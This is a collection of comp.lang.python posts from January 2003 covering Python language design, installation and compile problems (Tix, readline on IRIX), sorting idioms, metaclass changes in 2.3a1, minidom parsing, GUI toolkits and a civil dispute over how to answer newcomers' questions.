References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com> <mailman.1042392686.28473.python-list@python.org> <RpjU9.13481$%V.8248@nwrddc02.gnilink.net>
Message-ID: <3E21DB8D.5040903@tismer.com>

Carl Banks wrote:
> Christian Tismer wrote:
> 
>>Thanks, this is very encouraging.
>>Yes, the current C implementation is probably
>>near the best compromise between readability,
>>maintainability and efficiency ...
> 
> 
> You left out backwards compatibility.

Thank you, very true! I fogot to mention this.

>>... that can be
>>achieved with a static system.

With a dynamic system, you can have backwards
compatibility as well, together with the
flexibility to try alternatives on-the-fly
rather easily. Changing some very internal
things to try something out is still not
easy, but with welded C code, this is
almost impossible.

Thanks for pointing this good argument out!

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From grante at visi.com  Sat Jan  4 23:19:12 2003
From: grante at visi.com (Grant Edwards)
Date: 05 Jan 2003 04:19:12 GMT
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <yu99n0mmw48b.fsf@europa.research.att.com> <uzlQ9.2011$8n5.515861@news20.bellglobal.com> <WhqdnbfA_sxi9I-jXTWcqw@comcast.com> <tGER9.8038$rr1.1290343@news20.bellglobal.com> <slrnb1ev1b.bbm.grante@localhost.localdomain> <15NR9.8673$8M3.1457830@news20.bellglobal.com>
Message-ID: <slrnb1fcpb.bl2.grante@localhost.localdomain>

In article <15NR9.8673$8M3.1457830 at news20.bellglobal.com>, Sean Ross wrote:
> Perhaps "passing" was the wrong term...
> Let's see if I can clarify what I was trying to say before:
> 
> class Foo:
>     def bar(self, arg):   # method signature
>         self.data = arg
> 
> inst = Foo()
> inst.bar(None)  # method useage
> 
> When I said "passing" before, what I meant was "including 'self' as a
> parameter in the argument list for the method signature of 'bar()'"

Ah.  I see. I've always thought that rather natural, but I've never used C++
but learned OO with Smalltalk and Modula-3.

> So, anyway, all I was getting at before was that I found the disparate
> appearance of the method signature and the method useage to be ...odd.

There's something that seems initially odd about all languages I've learned.
In a "good" language, the "oddness" goes away quickly.  In a "bad" language
it seems odd forever.

Python's indention seemed extremely odd when I heard about it.  After about
15 minutes, it didn't seem odd at all.  :)

> It _seemed_ reasonable to me that their appearance should should be similar,
> i.e.,
> 
> def self.bar(arg): ... # method signature
> 
> inst.bar(None)  # method useage

I see what you mean.

Bar can be used as an unbound method, in which case its declaration mathes
its usage:

  inst = Foo()
  method = Foo.bar
  
  method(inst,None)

That's not the usual case you see used, though.

-- 
Grant Edwards                   grante             Yow!  ... I want FORTY-TWO
                                  at               TRYNEL FLOATATION SYSTEMS
                               visi.com            installed withinSIX AND A
                                                   HALF HOURS!!!



From mis6 at pitt.edu  Thu Jan  2 10:15:12 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 2 Jan 2003 07:15:12 -0800
Subject: Unresolved Problem with Tix-install (Tclerror :Couldn/t load file tix[version].so )
References: <34e4328e.0212120235.6efb02b4@posting.google.com> <2259b0e2.0212120933.1312d317@posting.google.com> <3e133101.1597569@news.look.ca>
Message-ID: <2259b0e2.0301020715.9ddf745@posting.google.com>

support @ internetdiscovery.com (Mike Clarkson) wrote in message news:<3e133101.1597569 at news.look.ca>...
> On 12 Dec 2002 09:33:58 -0800, mis6 at pitt.edu (Michele Simionato)
> wrote:
> 
> >bachhx at mail.ru (Bach) wrote in message news:<34e4328e.0212120235.6efb02b4 at posting.google.com>...
> >> Original message
> >> I am trying to install Tix on a linux machine. I don't have access
> >> privilege to write above my user directory.
> >> There is already a python1.5 on the machine.
> >> I installed  tcl8.3, tk8.3, tix8.1 and python2.2 with  --prefix =
> >> /usr/people/erict/bin
> >> It was 'succefull'
> >> I included the following line in my .cshrc:
> >> setenv PYTHONHOME /usr/people/erict/bin
> >> setenv PYTHONPATH /usr/people/erict/bin/lib
> >> setenv TIX_LIBRARY /usr/people/erict/bin/lib
> >> setenv TCL_LIBRARY /usr/people/erict/bin/lib
> >> setenv TK_LIBRARY /usr/people/erict/bin/lib
> >> 
> >> now here what I am getting:
> >> erict_fairlop > python
> >> Python 2.2.1 (#3, Apr 25 2002, 15:25:49)
> >> [GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
> >> Type "help", "copyright", "credits" or "license" for more information.
> >> >>> import Tix
> >> >>> root = Tix.Tk()
> >> /usr/people/erict/bin/lib/libtix8.1.8.3.so     ## print out that I had
> >> to see what it was trying to load
> >> Traceback (most recent call last):
> >>   File "<stdin>", line 1, in ?
> >>   File "/usr/people/erict/bin/lib/python2.2/lib-tk/Tix.py", line 213, in
> >> __init__
> >>     self.tk.eval('package require Tix')
> >> TclError: couldn't load file "/usr/lib/libtix": /usr/lib/libtix.so:
> >> undefined symbol: XLowerWindow
> >> >>>
> >> 
> >> 
> >> Any Idea
> >> Thanks
> >
> >It seems everybody trying to use Tix on RedHat gets in this trouble.
> >I never understood what is its origin and how to fix it. Nevertheless, I
> >discovered that everything works fine if I use python 2.2 instead of 2.2.1 
> >or 2.2.2 (only RedHat knows why).
> >I hope somebody will be more helpful than me. Cheers,
> 
> Your .cshrc is wrong and may be leading you to pick up some
> other libtix on the system (try a find / -name libtix\* to be sure).
> At least the tcl part of the .cshrc should be
>  setenv TIX_LIBRARY /usr/people/erict/bin/lib/tix8.1
>  setenv TCL_LIBRARY /usr/people/erict/bin/lib/tcl8.3
>  setenv TK_LIBRARY /usr/people/erict/bin/lib/tk8.3
> 
> and I suspect the PHYTHONPATH should be 
> .../lib/python2.2:.../libpython2.2/lib-tk:.../libpython2.2/lib-dynload
> etc.
> 
> I don't know what the cause of this is - you never get this error
> building Tix from sources (http://tix.souceforge.net/). It sounds
> to me like the Tix and the Tk were linked against different X11
> libraries, but I don't know why the version of Python would effect
> this. Does the tixwish start Ok? Do the tixwish demos run Ok?
> 
> When you say "I installed  tcl8.3, tk8.3, tix8.1 and python2.2 "
> do you mean that you built and installed from sources or from 
> binary rpms? Do you have other binary tcltk rpms installed (rpm -qa)?
> 
> RedHat had legacy patches in their build of Tix that were unnecessary
> and have now been removed for tix 8.1.4.  They have been very helpfull
> in fixing their builds of Tix, so if this problem persists after
> fixing the setenv, could I ask you both to open a RedHat bugzilla
> report so we can get this identified and resolved, especially if you
> think that "It seems everybody trying to use Tix on RedHat gets in
> this trouble."
> 
> Happy New Year,
> 
> Mike.

You may want to look at the thread "Tix/Tk Module frustrations HELP!"
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=2259b0e2.0208221115.244b6744%40posting.google.com&rnum=2&prev=/groups%3Fhl%3Den%26lr%3D%26ie%3DISO-8859-1%26q%3Dsimionato%2Btix%26btnG%3DGoogle%2BSearch%26meta%3Dgroup%253Dcomp.lang.python.*

You will see how many people run on this trouble and some (partial)
solution.
I use bash, not csh and tixwish works properly, I checked the example
in the standard distribution. Tix was preinstalled in my system, I did
not compile
from sources. The preinstalled Python (version 2.2) works well with
Tix,
but if I install 2.2.1 or 2.2.2 from the binary rpm's (or even
compiling
by source) Tix doesn't work.



From bhards at bigpond.net.au  Thu Jan  2 03:28:29 2003
From: bhards at bigpond.net.au (Brad Hards)
Date: Thu, 2 Jan 2003 19:28:29 +1100
Subject: 2.3a1: importhooks oddity
In-Reply-To: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net>
References: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net>
Message-ID: <200301021928.30053.bhards@bigpond.net.au>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Thu, 2 Jan 2003 13:55, Hans Nowak wrote:
> (P:\test\2.3) $ python test-importhooks-2.py
> 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)]
> Traceback (most recent call last):
>    File "test-importhooks-2.py", line 13, in ?
>      import nothing  # needless to say, doesn't exist
> ImportError: No module named nothing
>
> In other words, function f doesn't seem to be called.
>
> Is this a bug, a feature, or am I doing something wrong?
Probably not a feature. The other two are still possible.

Here is the code running on Linux:

bradh at squirt Python-2.3a1 $ ./python test-importhooks-2.py
2.3a1 (#1, Jan  2 2003, 19:17:08)
[GCC 2.95.3 20010315 (release)]
Wahey!
Traceback (most recent call last):
  File "test-importhooks-2.py", line 12, in ?
    import nothing  # needless to say, doesn't exist
ImportError: No module named nothing

One thing you might like to try: adding a flush() to make sure that the 
routine really Isn't being called.
Try this version of f() instead:

def f(path):
    print "Wahey!", path
    sys.stdout.flush()
    raise ImportError

HTH

Brad

- -- 
http://linux.conf.au. 22-25Jan2003. Perth, Aust. I'm registered. Are you?
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+E/guW6pHgIdAuOMRAn73AKC3MsQQxMgDZWpBUMuUjh4GHZiBVACgusNc
2L/tffaHsUOWsIwYcWgrODY=
=V91X
-----END PGP SIGNATURE-----





From andrew.henshaw at gtri.gatech.edu  Tue Jan 28 08:42:48 2003
From: andrew.henshaw at gtri.gatech.edu (Andrew Henshaw)
Date: Tue, 28 Jan 2003 08:42:48 -0500
Subject: sort by last then by first
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com> <sssZ9.94053$0v.2742655@news1.tin.it>
Message-ID: <v3d26nqu7p3qef@corp.supernews.com>

<posted & mailed>

Alex Martelli wrote:

> J?rgen Cederberg wrote:
>    ...
>> When sorting a list by several fields, I use this method:
>> 
>>  >>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
>> ... 'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
>>  >>> snames = [ (x[1], x[0], x) for x in names]
>>  >>> snames.sort()
>>  >>> sortednames = [x[-1] for x in snames]
>>  >>> sortednames
>> [['Rubble', 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Fred'],
>> ['Flintstone
>> ', 'Pebbles'], ['Flintstone', 'Wilma']]
>>  >>>
>> 
>> I create a list of tuples, where the tuple is ordered in the way I want
>> to sort, i.e. "sort by last then by first". The last element is the
>> original item to be sorted. Sort them, and then extract the original
>> item.
>> 
>> Maybe there are faster and easier ways, but I understand this one.
> 
> There is no substantially faster way than this approach (the "Decorate,
> Sort, Undecorate" idiom, aka DSU) for long-enough lists.  There _are_
> several slight variants that can come in handy sometimes, e.g. inserting
> in each item of sortednames the index into names of the corresponding
> item, in order to make the sort "stable" (items that compare equal on
> all compared fields are then guaranteed to stay in the same order as
> they were originally -- the sort method, per se, is not stable up to
> Python 2.2, and is not guaranteed to remain stable in the future even
> though it is in 2.3).
> 
> I entirely agree that, almost always, DSU is simpler as well as faster
> (when it counts, i.e., for large lists) than the alternatives.  The
> main exceptions come when the sort needs to be ascending on certain
> fields but descending on others -- _then_ DSU gets a bit hairier.
> 
> 
> Alex

The following is an approach that I sometimes use for complicated sorting.  
While certainly slower than DSU, it is very convenient.  This is a modified 
version of the code that I submitted to the Python Cookbook.

Andy

#################

class Sortable:
    sortorder = []
    def __init__(self, **args):
        self.__dict__.update(args)

    def __cmp__(self, other):
        s=[]
        o=[]
        for attr in Sortable.sortorder:
            if attr[0] == '-':
                attr = attr[1:]
                s.append(getattr(other, attr))
                o.append(getattr(self, attr))
            else:
                s.append(getattr(self, attr))
                o.append(getattr(other, attr))
        return cmp(s,o)

    def __str__(self):
        return '\t'.join(['%s: %s' % x for x in self.__dict__.items()])
    

def test():
    print
    p1=Sortable(dob='900420', gender='f', experience=1)
    p2=Sortable(dob='900410', gender='f', experience=1)
    p3=Sortable(dob='900425', gender='m', experience=1)
    p4=Sortable(dob='900425', gender='m', experience=0)
    l=[p1,p2,p3,p4]

    for order in [('-gender', 'dob'),
                  ('dob', 'experience'),
                  ('-experience', 'dob')]:
        print order
        Sortable.sortorder = order
        l.sort()
        for i in l:  
            print i


if __name__ == '__main__':
    test()

>>> 
('-gender', 'dob')
dob: 900425     gender: m       experience: 1
dob: 900425     gender: m       experience: 0
dob: 900410     gender: f       experience: 1
dob: 900420     gender: f       experience: 1
('dob', 'experience')
dob: 900410     gender: f       experience: 1
dob: 900420     gender: f       experience: 1
dob: 900425     gender: m       experience: 0
dob: 900425     gender: m       experience: 1
('-experience', 'dob')
dob: 900410     gender: f       experience: 1
dob: 900420     gender: f       experience: 1
dob: 900425     gender: m       experience: 1
dob: 900425     gender: m       experience: 0





From phr-n2003b at NOSPAMnightsong.com  Fri Jan 17 15:01:59 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 17 Jan 2003 12:01:59 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net>
Message-ID: <7xznpzv93c.fsf@ruckus.brouhaha.com>

Nick Vargish <nav at adams.patriot.net> writes:
> I just encountered a problem that required reverse iterating to solve,
> and my current solution, though it works, is not so satisfying:
> 
> def commafy(val):
>     """Return val as string with commas every thousandth place.""" ... 

If you're just looking for a practical solution, use the locale package,
which does this formatting for you.



From lac at strakt.com  Thu Jan 23 18:30:33 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 00:30:33 +0100
Subject: Python vs. Matlab 
In-Reply-To: Message from Alexander Schmolck <a.schmolck@gmx.net> 
   of "23 Jan 2003 15:43:27 GMT." <yfssmvj27og.fsf@black132.ex.ac.uk> 
References: <mailman.1043278960.29140.python-list@python.org> <yfssmvj27og.fsf@black132.ex.ac.uk> 
Message-ID: <200301232330.h0NNUXjL024150@ratthing-b246.strakt.com>

re: lack of scientific plotting w.r.t. matlab

If you happen to need 3 dimensional plotting check out MayaVi

http://mayavi.sourceforge.net/

Tkinter interface, fully scriptable in python.

It wraps VTK http://public.kitware.com/VTK/

Laura Creighton




From johnroth at ameritech.net  Wed Jan 15 08:36:44 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 15 Jan 2003 08:36:44 -0500
Subject: Python loop constructs
References: <f57664b9.0301142008.6a0888@posting.google.com>
Message-ID: <v2aotpoed6lk28@news.supernews.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301142008.6a0888 at posting.google.com...
> In a couple of old threads, "LOOP wisdom found"
> and "do...until wisdom found", someone mentioned
> that a construct of the type:
>
> loop:
>   do-stuff
>   if condition: leave
>
> is the cleanest possible solution and that we
> can expect to see something like it for "Python 3K".
> But doesn't the present 'while' syntax already give
> you all that and more?
>
> while 1:
>   do-stuff
>   if condition: break
>
> while condition:
>   do-stuff
>
> If one thinks of while 1: as an alias for loop: then
> I don't find anything objectionable to its usage at all.
> In addition:
>
>   while (condition): do-stuff
>
> would be a lot clearer than:
>
>   loop (condition): do-stuff
>
> or
>
>   loop while (condition): do-stuff # YUCK!

The objection that people have to

while 1:

or

while True: (as in Python 2.3)

is that it's an idiom and they'd like it to be
more clearly stated. Frankly, I can't get myself
all that fired up over the issue when there are
lots of larger issues to work on.

John Roth





From gillet at scripps.edu  Fri Jan 17 13:58:58 2003
From: gillet at scripps.edu (Alexandre Gillet)
Date: Fri, 17 Jan 2003 10:58:58 -0800
Subject: Problem installing module readline for  Python2.3a1 on SGI
Message-ID: <3E285272.2060100@scripps.edu>

Hi,

I have a problem compilling and installing the readline module with 
Python2.3a1 on SGI irix 6.5.
(I was able to compile python2.3a1)

Here is the error I am getting:
cc  -DNDEBUG -O -OPT:Olimit=0 -I. -I../Include 
-I/mgl/prog/share/include/ -c ../Modules/readline.c -o Modules/readline.o

cc-1119 cc: ERROR File = ../Modules/readline.c, Line = 542
   The "return" expression type differs from the function return type.

         return completion_matches(text, *on_completion);
                ^

cc-1552 cc: WARNING File = ../Modules/readline.c, Line = 686
   The variable "m" is set but never used.

         PyObject *m;
                   ^

1 error detected in the compilation of "../Modules/readline.c".
*** Error code 2


Any ideas how I can get it to work.

Thanks
Alexandre Gillet               email: gillet at scripps.edu







From DLNXPEGFQVEB at spammotel.com  Fri Jan 17 20:27:50 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Sat, 18 Jan 2003 03:27:50 +0200
Subject: Problem installing module readline for  Python2.3a1 on SGI
References: <mailman.1042830034.7160.python-list@python.org>
Message-ID: <c7bh2vc6g65c9uleq9i5ndl6t0allu545u@4ax.com>

On Fri, 17 Jan 2003 10:58:58 -0800, rumours say that Alexandre Gillet
<gillet at scripps.edu> might have written:

>I have a problem compilling and installing the readline module with 
>Python2.3a1 on SGI irix 6.5.
>(I was able to compile python2.3a1)

Are you using the readline module from freeware.sgi.com or did you
compile from sources?  The freeware version works fine for me (just
remember to edit Modules/Setup to add -L/usr/freeware/lib{32,64} for the
linkage) on Indy, Octane, Origin2000, Origin200, O2, Origin300 with
6.5.17-18.
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From imbosol at vt.edu  Thu Jan  9 18:43:02 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 09 Jan 2003 23:43:02 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08> <SSjT9.38031$1c.13089@nwrddc01.gnilink.net> <avkk75$5a7$1@slb0.atl.mindspring.net>
Message-ID: <aOnT9.36337$xb.22024@nwrddc02.gnilink.net>

Andrew Dalke wrote:
> Carl Banks wrote:
>> If I asked a question about how to get rid of self, and was told that
>> self is necessary because code without self makes a poor
>> implementation, I would say the same thing, because it's a damn petty
>> excuse to refuse to answer the question.  That's not why Python uses
>> self, and it's flatly wrong.
> 
> That's not what happened, IMO.  He asked two questions, one implicit
> and one explicit.  The implicit one was "my code is ugly because of
> all the self. references, [what can I do to improve it?]"  The explicit
> one was a refinement of the original question, being "does Python
> have a 'with self do' construct, which some other language use to
> solve similar problems?"
> 
> Here's Afanasiy' OP so you don't need to find it.
> ] I've written this method for a text formatting class...
> ] But it's ugly as sin. With all those self's I consider
> ] it much less readable than it could be...
> ]
> ] A few languages provide syntax sugar for dealing with
> ] this by allowing you to localize the class scope.
> ]
> ] Does Python? eg. `with self do:`
> 
> First paragraph is the problem he's trying to solve.  That's
> the one he wants really wants answered.

Well, I'm accusing responders of being presumptuous, and you've just
demonstrated it.  <shrug> What made you so sure that's what he really
wanted answered?  I'm surprised you would say this after he made it
clear he wasn't interested in anyone helping him rewrite his classes.
It's clear now you made the wrong assumption.

Personally, I don't think the assumption was warranted, even before he
made it clear that it wasn't what he was asking.  I see the first
paragraph as background information, not a question to be answered.

For the record, I was (and am) playing devil's advocate--trying to put
the other side into perspective.  He certainly hasn't displayed the
best tact, and I'm sure that has gone a long way into bringing out the
worst in the responders.


[snip]

>> And when he said, "My design is perfect," he was being sarcastic, and
>> was mocking Andrew Dalke's attitude.
> 
> Th OP said my attitude was brusque, or some such.  I've been reviewing
> my post and I still don't see that.  Yes, I said his implementation
> (not his design) was poor.  It is.  Five other people agreed with me.
> Was it wrong to point that out?  It wasn't like I said it sucks or
> other harshly disparaging terms.  It's poor code, and any code review
> would point it out.  Not only that, I suggested how to improve it.

Rereading it, I don't think you were brusque at all.  He definitely
overreacted.  However, he was definitely being sarcastic when he said
his design was perfect; not trying to say he was a better coder (which
was the point I was trying to make).


> Since you agree with him (he having stopped responding to this thread),
> perhaps you can clarify.  Was it that I wouldn't give him the rope to
> hang himself by posting the exec trick?  His clarification was "object
> members in scope?" and the exec trick does just that.  However, it will
> only do what he expects for in-place modifications of mutable objects,
> since it doesn't put locals back into module scope.
> 
> Or should I have explained all that too?

Well, I would have responded differently than you.  You said, "You
don't need it," which was a little rude.  He probably was asking for
it, but it was still a little rude.

If I had felt like you did, I would have said something like, "There
is a way.  I highly recommend you not use it; many Pythonistas
consider it bad style, it makes code harder to understand, and it has
some hidden dangers on top of that.  But if you insist, I'll tell
you."

And if he had insisted, I would have told him, with a "use at your own
risk" disclaimer.

Sometimes it's best to just let them learn the hard way.

Of course, what I really would have done is not answered it at all.  I
just don't think it's nice to give someone alternate answers without
being prepared to answer (or help answer) the actual question.


>> What I do see is a presumptuous attitude from some of the reponders;
>> maybe not condescending, but definitely presumptuous.
> 
> Presumptuous?  Because I made assumptions about his level of
> Python knowledge based on the code he presented?

No, because you made an assumption about what he wanted answered.
(Bennetts did that more brazenly than you, though.)


[snip]

>> Whenever I want to offer alternatives, I'll usually answer the
>> original question, if I know the answer, and then offer alternatives.
> 
> Hmm.  And here I thought I did.  1) rewrite the code, 2) put 'self.'
> in the paste buffer.  I should also have offered 3) use local variables
> instead of instance variables, but Simon Wittber already did that.

Look, I'm sorry, but I don't see it.  His original question was
explicit and specific, even if was a tad more wordy than it had to be.
He asked whether Python had syntax sugar for self; nothing more.  I
don't think it was warranted to assume he was asking anything other
than that.

You did not answer the question he asked.  (Ok, technically you did:
he asked, "Is there a way?"  I hope you agree that it's not an invalid
assumption that he also wanted to know how to do it.)


> Yes, there was a solution I wasn't going to post, tough.  I
> wasn't going to lie and say no when the solution wasn't a proper
> answer to the question.  Nor did I want the obligation of explaining
> how it worked, how it could go wrong, and why it shouldn't be used.
> 
> Perhaps I should stop posting then?

Might have been a good idea.  It was a tough situation, I'll cut you
some slack, ok?  I was more bothered by Andrew Bennetts' attitude
anyways.


-- 
CARL BANKS



From dglenn at charter.net  Sat Jan 18 09:19:59 2003
From: dglenn at charter.net (Doug Glenn)
Date: Sat, 18 Jan 2003 09:19:59 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
In-Reply-To: <bdb5b58f.0301171839.483b5a03@posting.google.com>
References: <mailman.1042650398.19724.python-list@python.org> <mailman.1042842274.10085.python-list@python.org> <bdb5b58f.0301171839.483b5a03@posting.google.com>
Message-ID: <200301180919.59301.dglenn@charter.net>

Thank you to all that helped me with this.

After diving into somewhat muddy and murky waters initially, it has 
finally cleared up.

The script in the Python cookbook (p257) works great providing that you 
already have the LoginUser in a group that has "Act as Operating 
system" privileges, Once the LoginUser has these rights, they can 
assign other rights to themselves as needed to run.

Although the documentation for the call does specify the caller needs 
the SE_TCB_NAME privlege, it says nothing how you are to obtain it or 
check for it.  Nor is it translated into its MS equivilent so it can 
found without some prior research.

I am sure the people writing the docs thought it was perfectly clear. 
And it was... to them.  <smile>  And now it is clear to me as well!

Again, thanks to all that helped, and for those lurking to find the 
answer to the same problem, I hope this answers it for you :) Thanks to 
Google and other search engines, now there is a thread to be found with 
the answer as well <smile>

-----
Doug




From a98mican at ida.his.se  Wed Jan 29 16:52:00 2003
From: a98mican at ida.his.se (Michael Andersson)
Date: Wed, 29 Jan 2003 21:52:00 GMT
Subject: Using C++ classes in python
Message-ID: <3E384CF9.8090006@ida.his.se>

Hi!
Is it possible to create a class in C++ that can be instansiated in a 
python script?

I currently solve this by creating a static data member in each class 
that points to an instance of the class. Then each registered static 
member function uses this pointer to access the correct instance each 
time a static member functions is called from a python script. This 
approach is far from optimal.

Or is there a better approach?

Best regards,
/Mickey




From clifford.wells at attbi.com  Sun Jan  5 23:43:50 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 05 Jan 2003 20:43:50 -0800
Subject: Python vs .Net
In-Reply-To: <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com>
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
	 <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com>
	 <slrnb1go12.kv8.grante@localhost.localdomain>
	 <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com>
Message-ID: <1041828230.3565.161.camel@x1-6-00-04-5a-64-c4-03>

On Sun, 2003-01-05 at 13:55, Afanasiy wrote:
> On 05 Jan 2003 16:37:08 GMT, Grant Edwards <grante at visi.com> wrote:
> 
> >In article <d8mf1vsm6271d5m4nao9t91dcs7m865n82 at 4ax.com>, Afanasiy wrote:
> >> On Sun, 5 Jan 2003 01:40:25 -0500, "Etienne Charland"
> >
> >> As far as I know, Python has nothing as good as the .NET WinForms
> >> wrapping of native Win32 interface components. Mark Hammond has wrapped
> >> MFC, but that does not compare to WinForms.
> >
> >I don't know much about WinForms, but wxWindows and Gtk both provide
> >nice frameworks around native Win32 UI components.
> 
> Not really... Wx is fairly buggy and unstable,

Hm.  Somehow I doubt this is the voice of experience.  I've used
wxPython for over three years and haven't had any extraordinary
problems. Any problems I have had have usually been resolved in some way
within a respectable timeframe.  It certainly isn't bug-free, but if you
are going to tell me anything shipped from Redmond is, I'll ROTFL.

> and Gtk does not wrap native Win32 UI components.

And WinForms wraps GTK+ components?  Might as well be consistent in our
requirements.

> Neither compare well to WinForms or Borland VCL.

That may be.  I haven't tried either.  I suppose with Borland it's
possible to develop a Linux app but I doubt a WinForms port is in the
works <wink>.  When it does spring up, I may give it a spin.  Until then
I'll stick with cross-platform tools.

-- 
Cliff Wells <clifford.wells at attbi.com>





From KittyMCooper at zianet.com  Thu Jan  2 19:55:41 2003
From: KittyMCooper at zianet.com (Kitty Munson Cooper)
Date: Thu, 2 Jan 2003 17:55:41 -0700
Subject: Zmodem for Python? newbie question
Message-ID: <3e14df8c$1@news.zianet.com>

Is there a Zmodem for Python on windows? Or a way to get at the
HyperTerminal version of it?
--
---------------------------------------------------------------
Kitty Munson Cooper, web designer  -- KittyMCooper at zianet.com
fall foliage at http://www.kittycooper.com/garden/Foliage02.html
more information at http://www.kittycooper.com/resume.html





From mis6 at pitt.edu  Wed Jan 22 17:25:45 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 22 Jan 2003 14:25:45 -0800
Subject: difference 2.3 versus 2.2
Message-ID: <2259b0e2.0301221425.4eccaab2@posting.google.com>

I have found a difference of behaviour between Python 2.2 and 2.3.

$ python
Python 2.2 (#1, Apr 12 2002, 15:29:57)
[GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-109)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class Meta(type): pass
...
>>> class C(object): pass
...
>>> C.__class__=Meta
>>> C.__class__
<class '__main__.Meta'>

Therefore I can change the metaclass of C on Python 2.2.
However on Python 2.3:

$ p23a
Python 2.3a1 (#1, Jan  6 2003, 10:31:14)
[GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-108.7.2)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class Meta(type): pass
...
>>> class C(object): pass
...
>>> C.__class__=Meta
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: __class__ assignment: only for heap types

Can somebody put some light on this TypeError ? 
It looks like intentional.

I can change class of a normal object, why not the class of a class ?

Bye,

                  Michele



From graeme_matthew at hotmail.com  Sat Jan 18 07:34:47 2003
From: graeme_matthew at hotmail.com (Graeme)
Date: Sat, 18 Jan 2003 23:34:47 +1100
Subject: Please help required urgently - xml.dom.minidom
Message-ID: <JRbW9.196$1y6.12206@nnrp1.ozemail.com.au>

Hi all

I am at the point of exploding, I have been trying to get my head around
xml.dom.minidom

I just cannot seem to get the value for the element/node

My XML is very simple

<Order><OrderId>12345</OrderId><Delivery>Definetly Not Microsoft
Way</Delivery><Order>

When I pass this to my class instance and process it the output is

OrderId
None
1
Delivery
None
1
1

please could someone explain this, many thanks

Here is my class

import xml.dom.minidom
import Order
import OrderLine

class OrderMessageProcessor(object):

    def __init__ (self,data=None):

        self.order = Order.Order()
        self.data = data

    def processOrder(self):

        xmlTree = xml.dom.minidom.parseString(self.data)

        #Get a NodeList Object
        orders = xmlTree.getElementsByTagName('Order')

        if orders.length != 0:

            #Loop nod
            for nod in orders:

                for elem in nod.childNodes:


                    print elem.tagName
                    print elem.nodeValue
                    print elem.nodeType


        xmlTree.unlink()





From tbryan at python.net  Sun Jan 12 23:27:34 2003
From: tbryan at python.net (Tom Bryan)
Date: Mon, 13 Jan 2003 04:27:34 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <WerU9.46381$eB1.1881759@twister.southeast.rr.com>

Christian Tismer wrote:

> "Minipy"? Well, there are so many "py" projects,
> this makes it hard to come up with a good new name.

Start a new trend!  Go for the other half of the name.

